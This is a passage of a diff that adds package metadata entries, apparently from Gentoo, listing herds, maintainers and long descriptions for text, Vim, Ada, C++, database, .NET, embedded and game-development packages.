+combined work of the dvipdfm-jpn project by Shunsaku Hirata and its
+modified one, dvipdfm-kor, by Jin-Hwan Cho.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/enchant">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/epstool">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/freepwing">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/ggv">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/ghostscript-afpl">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/ghostscript">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/gnome-spell">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/gocr">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/gpdf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/grutatxt">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/gsview">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/gtkspell">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/gtranslator">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/hspell">
+    <herd>middle-east</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/html2text">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/htmltidy">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/info2html">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/ispell">
+<herd>app-dicts</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/kaspaliste">
+<herd>printing</herd>
+<herd>kde</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/kbarcode">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/kbedic">
+<herd>kde-base</herd>
+<maintainer>
+  <email>mario@wisdomking.com</email>
+  <name>Mario Tanev</name>
+  <description/>
+</maintainer>
+<longdescription>English to Bulgarian Dictionary</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/knowit">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/libwpd">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/man2html">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/migemo">
+<herd>cjk</herd>
+<herd>emacs</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/mlview">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/multitail">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/nlcvt">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/noweb">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/o3read">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/passivetex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/psiconv">
+<herd>app-text</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/pspresent">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/ptex">
+<herd>text-markup</herd>
+<herd>cjk</herd>
+<maintainer>
+   <email>usata@gentoo.org</email>
+   <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+pTeX is one of teTeX distribution with Japanese enhancement.  You can
+set up in type both horizontally (left to right) and vertically (up to
+down).  It is tweaked to provide high quality for Japanese desktop
+publishing.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/pylize">
+<herd>python</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/rhyme">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+What is this thing? Why it's a rhyming dictionary, of course! But more specifically, it's a command-line program that takes a word and returns to you a formatted list of all words that rhyme with it. The default response is a perfect rhyme (which is probably what you want). Or you can get a syllable count of a certain word (&quot;whitening&quot; has 2-3 syllables, etc.).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/sablotron">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/sary">
+<herd>no-herd</herd>
+<longdescription>Sary is a suffix array library and tools. It provides
+fast full-text search facilities for text files on the order of 10 to
+100 MB using a data structure called a suffix array. It can also
+search specific fields in a text file by assigning index points to
+those fields.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/sgml-common">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/sgmltools-lite">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/tetex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/texi2html">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/txt2tags">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/wscr">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+WSCR is a program to solve word jumbles, print all permutations of a string, and print pseudo-anagrams. It will use /usr/dict/words or a user-specified wordlist file
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/wv2">
+<herd>no-herd</herd>
+<maintainer>
+  <email>brain@gentoo.org</email>
+</maintainer>  
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/xdvik">
+<herd>cjk</herd>
+<herd>text-markup</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+XDVIK is a dvi previewer on X with kpathsea support.  It also supports
+multibyte character rendering via Xft2 (or VFlib2).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/xhtml1">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/xml2doc">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/xmlto">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/yodl">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/align">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/alternate">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/calendar">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/closetag">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/colorschemes">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/ctx">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/cvscommand">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/cvsmenu">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/enhancedcommentify">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/gtk-syntax">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/increment">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/info">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/latexsuite">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/locateopen">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/multiplesearch">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/phpdocs">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/searchcomplete">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/showmarks">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/supertab">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/taglist">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/thlnk">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/tmpl">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/vimcommander">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/vimpython">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/vimspell">
+<herd>vim</herd>
+<maintainer>
+  <email>ciaranm@gentoo.org</email>
+  <name>Ciaran McCreesh</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/xsl">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-vim/zoomwin">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/adabindx">
+<herd>ada</herd>
+<longdescription>This is a binding from Ada to the X window system. It's a collection of Ada sources which enables a program written in Ada to use the X window and OSF/Motif or lesstif, if available, routines.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/adabroker">
+<herd>ada</herd>
+<longdescription>AdaBroker is a set of tools and libraries that can be used to develop CORBA applications in Ada. It provides an IDL parser, Ada code generator, the CORBA predefined Ada support packages (defined by the Ada mapping).</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/adadoc">
+<herd>ada</herd>
+<longdescription>AdaDoc is a tool for developers using the Ada95 programming language. It's goal is to create documentation in different format from a specification package.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/adaopengl">
+<herd>ada</herd>
+<longdescription>This Ada-binding to OpenGL provides the latest OpenGL features in a collection of Ada packages. It also supports the major OpenGL support libraries such as GLU, GLUT and GLFW.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/adasockets">
+<herd>ada</herd>
+<longdescription>AdaSockets is a set of free software Ada packages allowing Ada programmers to use the so-called BSD sockets from their favourite programming language. AdaSockets has been designed and tested with the GNAT free software Ada compiler, but should be portable to other compilers quite easily. AdaSockets philosophy is to help the Ada programmer by providing easy-to-use objects. Special care has been taken to ensure that performances do however remain good.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/asis">
+<herd>ada</herd>
+<longdescription>Ada Semantic Interface Specification is a published international ISO standard (ISO/IEC 15291:1999). ASIS represents a compiler independent toolset consisting of a set of standard Ada interfaces which allow extraction of information about user source programs. This information was previously only available inside the Ada compilers themselves or exported in non-standard, and thus non portable mechanisms.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/aunit">
+<herd>ada</herd>
+<longdescription>AUnit is a set of Ada packages based on the xUnit family of unit test frameworks. It's intended as a developer's tool to facilitate confident writing and evolution of Ada software. It is purposely lightweight, as one of its main goals is to make it easy to develop and run unit tests, rather than to generate artifacts for process management. The framework supports easy composition of sets of unit tests to provide flexibility in determining what tests to run for a given purpose.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/booch_components">
+<herd>ada</herd>
+<longdescription>The booch components provide a set of reusable components used in an efficient and appropriate manner, with the overall goal of balancing usability and extensibility. The BCs cover several issues: Time and Space semantics, Storage Management policies, Exception and Idioms for iteration.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/cbind">
+<herd>ada</herd>
+<longdescription>This tool is designed to AID in the creation of Ada bindings to C. Bindings generated by this translator will be generally not be complete. This tool MAY/MAY NOT be useful as an AID to generating bindings.  Hopefully it can do a lot of the grunt work for you.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/charles">
+<herd>ada</herd>
+<longdescription>Charles is a data structure library for Ada95, modelled principally on the C++ STL. It features both ordered (lists and arrays) and unordered (sets and maps) collections. In addition to lists and vectors, the Charles library has set, multi-set, map, and multi-map data structure types.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/florist">
+<herd>ada</herd>
+<longdescription>Florist is the (F)lorida (S)tate (U)niversity open-source implementaton of IEEE Standard 1003.5b-1996, the POSIX Ada binding, including real-time extensions. This software provides access to the UNIX operating system services for application programs written in the Ada programming language. It is designed to be self-configuring for a POSIX-compliant system. A suite of test programs is included.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/garlic">
+<herd>ada</herd>
+<longdescription>GLADE, aka Garlic, is the first industrial-strength implementation of the distributed Ada 95 programming model. It allows parts of a single program to run concurrently on different machines and communicate with each other. It supports different network protocols, and provides replication and replay capabilities.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/gps-bin">
+<herd>ada</herd>
+<longdescription>GPS, the GNAT Programming System, is the cutting-edge Ada IDE that streamlines the interaction between developers and their software. GPS integrates the GNAT tool set within a single development environment that makes visual sense of code. With its intuitive interface, GPS is easy to use, simplifying source navigation and highlighting the fundamental ideas in the program. By displaying core application structures, such as call graphs, program entity graphs, and project dependencies, GPS facilitates the development of complex systems. GPS helps construct reliable code while providing the same interface and behavior across a variety of platforms. Designed by programmers for programmers, GPS is a new kind of IDE that offers the experience of designing software in a uniquely comfortable environment.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/gtkada">
+<herd>ada</herd>
+<longdescription>GtkAda is the technology that lets you implement the next generation of Ada 95 GUIs in an efficient and platform-independent manner. In addition to providing over 100 widgets and allowing you to use portable low-level drawing primitives, GtkAda has a pluggable look-and-feel and comes with a high-level GUI builder that allows round-trip GUI generation and update.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ada/xmlada">
+<herd>ada</herd>
+<longdescription>XML/Ada includes a complete XML parser that fully supports the XML 1.0 specifications, including DTDs, entity resolution, external entities,attribute normalization, and conditional sections. XML/Ada also supports the SAX 2.0 standard. Through an object-oriented Ada interface, the XML/Ada SAX implementation provides an extremely efficient way to convert XML streams to application-specific data representations. XML/Ada includes full support for the core part of DOM 2.0. In addition to this XML support, XML/Ada includes an extensive set of packages to read, manipulate and write Unicode streams, in various encodings like UTF-8, UTF-16 and UTF-32. It provides a conversion mechanism between Unicode and encodings such as Latin-1, Latin-2, etc.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/gconfmm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/gnomemm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/gtkglextmm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/gtkmm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/libbonobomm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/libbonobouimm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/libglademm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/libgnomecanvasmm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/libgnomemm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/libgnomeuimm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/orbitcpp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-cpp/poslib">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+</maintainer>
+<longdescription>Poslib is a C++ library for people who want to write applications that make use of the Domain Name System. It consists of a client part, that can be used to send DNS queries, interpret Resource Records, and read master files, among other thins, and a server part which makes writing a DNS server much easier.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/edb">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+This is a database library based on Berkeley DB 2.7.7 from 
+http://www.sleepycat.com. It is intended to make accessing 
+database information portable, easy, fast and efficient.
+
+Various components of Enlightenment use Edb for information 
+storage, including Ebits, Efsd and the window manager 
+configuration parts.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/firebird">
+<herd>no-herd</herd>
+<maintainer>
+    <email>mksoft@gentoo.org</email>
+    <name>Meir Kriheli</name>
+</maintainer>
+<longdescription>
+Firebird is a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/hk_classes">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/knoda">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/libodbc++">
+<herd>no-herd</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/mergeant">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/mysql">
+<herd>mysql-bugs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/mysqlcc">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/pgaccess">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/pgadmin3">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/pgpool">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/phpmyadmin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/phppgadmin">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/postgis">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/postgresql">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/sqlite">
+<herd>mysql-bugs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/tora">
+<herd>no-herd</herd>
+<maintainer>
+    <email>rizzo@gentoo.org</email>
+    <name>Don Seiler</name>
+</maintainer>
+<longdescription>
+TOra is a Toolkit for Oracle which aims to help the DBA or developer of database application. Features PL/SQL debugger, SQL worksheet with syntax highlighting, DB browser and a comprehensive set of DBA tools.  Also works with mySQL and postgreSQL.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-db/unixODBC">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-dotnet/ml-pnet">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-dotnet/mono">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-dotnet/pnet">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-dotnet/pnetc">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-dotnet/pnetlib">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/gpsim-lcd">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/gpsim-led">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/gpsim-logic">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/gpsim">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/gputils">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/icdprog">
+<herd>dev-embedded</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription>ICDPROG is a simple command line programmer for Microchip PIC
+    controllers, using the Microchip ICD (in circuit debugger)
+    hardware.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/picasm">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/picprog">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/picptk">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/pikdev">
+<herd>dev-embedded</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription>PiKdev is a simple graphic IDE for the development of
+    PIC-based applications.  PiKdev is developed in C++ under Linux and is
+    based on the KDE environment.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/uisp">
+<herd>dev-embedded</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-embedded/xgpasm">
+<herd>dev-embedded</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+<longdescription>This software is a GUI (Graphical User Interface) which allows
+    you to easy assemble PIC programs. It uses gpasm software, an assembler for
+    PIC microcontrolers.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/KXL">
+<herd>games</herd>
+<longdescription>
+KXL is the library developed for the purpose of the ability to develop a 
+game easily on X Window System of Linux.
+
+KXL is the composition of the window of one sheet, and the frame buffer 
+of one sheet.
+
+KXL corresponds to reading of a bitmap picture, and offers a still 
+simple drawing function and a wave sound function.
+
+KXL is written only using xlib.
+
+KXL is written by the C language.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/cardpics">
+<herd>games</herd>
+<longdescription>
+rdpics is a set of free cards sets.
+
+If you are programming a card game and are looking for free cards, 
+Cardpics was made for you! Get a set of cards and include them in your 
+project, as soon as your project is free.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/clanlib">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Welcome to ClanLib, a multi-platform game development library.
+
+ClanLib is a medium level development kit. At its lowest level, it provides a 
+platform independent (as much as that is possible in C++) way of dealing with 
+display, sound, input, networking, files, threadding and such.
+
+On top of that, ClanLib builds a generic game development framework, giving you 
+easy handling of resources, network object replication, graphical user 
+interfaces (GUI) with theme support, game scripting and more.
+
+The goal of ClanLib is to allow the game developer to focus on stuff that 
+matters, avoiding all those nasty (and boring) lowlevel trivials like setting up 
+a directdraw window, sound mixing, reading image files, etc. All those things 
+are simplified into object oriented classes and function calls, making it a joy 
+to write your game.
+
+ClanLib uses a resource system to keep track of images, fonts, samples and 
+music. It supports Targa, PCX, JPEG, PNG and BMP for images. Wave files for 
+sample. Ogg Vorbis (open sound format that has same sound quality as mp3) and 
+MikMod for music. By using a resource system, you cleanly seperate the physical 
+data formats from your code, and makes it easy to make themes and other plugins 
+for your game. The resource system is written in a manner that allows you to add 
+your own custom resources.
+
+All classes in clanlib focus on making simple interfaces that are customizeable 
+and expandable. This keeps your game code clean and simple; but still allows you 
+to do advanced stuff. As an example, look at some sound code:
+CL_SoundBuffer my_sample(&quot;Weapon/Minigun/sound&quot;, resources);
+my_sample.play();
+
+In this example, we play a simple sound effect, and afterwards forget all about 
+it. Nice and simple. But if we want to adjust the frequency during its playback 
+(eg. for a dobbler effect), it could look like this:
+CL_SoundBuffer_Session playback = my_sample.play();
+playback.set_frequency(1.2f); // increase frequency by 20%
+
+We only need to keep the session handle if we are going to use it. Keep things 
+simple when they are simple, and make them complex when they are complex. :)
+
+The object oriented nature of ClanLib allows you to operate both at high and low 
+levels, minimizing redundant code and still allows you to do stuff that isnt 
+supported by clanlib's high level APIs.
+
+ClanLib currently support Windows 98, Windows 2000, Windows XP and Linux. The 
+following display targets are supported under linux: X11 and OpenGL. Some parts 
+of ClanLib still isnt entirely endian clean, so it will currently only work 
+without problems on the x86 architecture. Work is underway for a MacOS port. 
+Current compilers supported is VC++ 6.0, VC++ 7.0, GCC, Borland and MingW.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/gtkradiant">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+GtkRadiant is a level editor supporting multiple games and mods: Quake III Arena, Quake III: Team 
+Arena, Quake III Arena modifications, Return To Castle Wolfenstein, Jedi Knight II: Jedi Outcast, 
+Soldier Of Fortune II, Star Trek Voyager: Elite Force.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/hawknl">
+<herd>games</herd>
+<longdescription>
+HawkNL is a free, open source, game oriented network API released under 
+the GNU Library General Public License (LGPL). HawkNL (NL) is a fairly 
+low level API, a wrapper over Berkeley/Unix Sockets and Winsock. But NL 
+also provides other features including support for many OSs, groups of 
+sockets, socket statistics, high accuracy timer, CRC functions, macros 
+to read and write data to packets with endian conversion, and support 
+for multiple network transports. NL has been tested on Windows 
+9x/ME/NT/2000/XP/CE, Linux, Solaris, IRIX, AIX, BSDs, MacOS 7-9 and 
+MacOS X. There are also the two high level APIs, HawkNLU(tm) (NLU) 
+and HawkVoice(tm), which are built on top of NL. It is NLU and 
+HawkVoice(tm) that are most exciting, since they give developers 
+portable, easy to use alternatives to Microsoft&#xAE;'s DirectPlay&#xAE; and 
+DirectPlay&#xAE; Voice.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/hlsdk">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Half-Life SDK
+
+The current version of the Half-Life SDK is 2.3, which includes new functionality 
+for mod authors, greatly increasing their power to create a wide variety of games 
+using the Half-Life engine. The new features included with version 2.3 are the 
+inclusion of the Ricochet source code (with multi-serve technology), first-person 
+spectator code, and updated information on the server query protocol.
+
+Note:
+This is the version from metamod ... it's been ported and updated for use in linux.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-games/kyra">
+<herd>games</herd>
+<longdescription>
+A Sprite Engine...
+from a Slightly Different Point of View
+
+Kyra is a simple, fully featured, industrial strength Sprite engine written in C++. It is built on 
+top of SDL and has been tested on Windows and Linux. It is provided free for open source projects 
+under the GPL and LGPL.
+
+What is a Sprite Engine? A Sprite Engine is the drawing and rendering component of 2D and quasi-3D 
+games. Examples of this kind of game are Civilization, Donkey Kong (classic arcade), Pharaoh, Zeus, 
+Warcraft, Diablo, Frogger, and Pirates!, among many others. It is so called because the &quot;characters&quot; 
+or &quot;little men&quot; are referred to as &quot;sprites&quot;.
+
+Simple and Easy to Use. Kyra has a clean and simple C++ interface. Or at least as simple as an engine 
+can be. It comes with several examples to get you started, as well as full documentation for the API 
+and the tool chain.
+
+Fully Featured. It is fully featured, supporting top-down, side, and isometric rendering. It supports 
+the 'Sprite' as its basic type, but also supports Tiles and user-drawn Canvases. It can draw to a 
+traditional bitmap surface, and supports OpenGL hardware acceleration.
+
+Industrial Strength. Kyra has a complete tool chain including a sprite editor and encoder. It's fast 
+and capable, with specialized code for rendering and rectangle updates.
+
+...From a Slightly Different Point of View. But Kyra does some things differently. It supports color 
+transformations and alpha blending (!). All objects in Kyra are inserted into a containment 
